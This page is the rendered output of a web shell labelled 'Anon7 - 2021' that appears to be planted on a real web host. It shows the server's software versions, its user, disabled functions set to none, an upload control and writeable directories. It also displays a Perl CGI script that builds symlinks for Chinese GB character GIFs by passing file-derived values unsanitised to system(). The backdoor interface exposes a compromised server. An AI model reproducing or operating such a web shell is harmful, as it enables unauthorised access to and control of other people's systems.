KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/mandarintools/cgi-bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/mandarintools/cgi-bin/addgb_giflinks.pl
#!/usr/bin/perl


print "Content-type: text/plain\n\n";

print `pwd`;
$base = `pwd`;
chomp($base);

open(GBUNI, "gbsmall.txt") or print "oops";
while (chomp($line = <GBUNI>)) {
    ($gbfile, $unifile) = split(/\t/, $line);
    $unifile =~ s/\s*$//;
    $gbfile =~ s/\s*$//;

    $unifile = "$base/ugif/$unifile.gif";

    $gbtemp = sprintf("%2x%2x", (hex(substr($gbfile, 0, 2)) + 0x80), (hex(substr($gbfile, 2, 2)) + 0x80));
    $gbfile = uc($gbtemp);

    if (-e $unifile) {
	print "Found $unifile\n";
    } else {
	print "Can't find $unifile\n";
    }

    system("ln -s $unifile $base/gbgif/$gbfile.gif");
}


Anon7 - 2021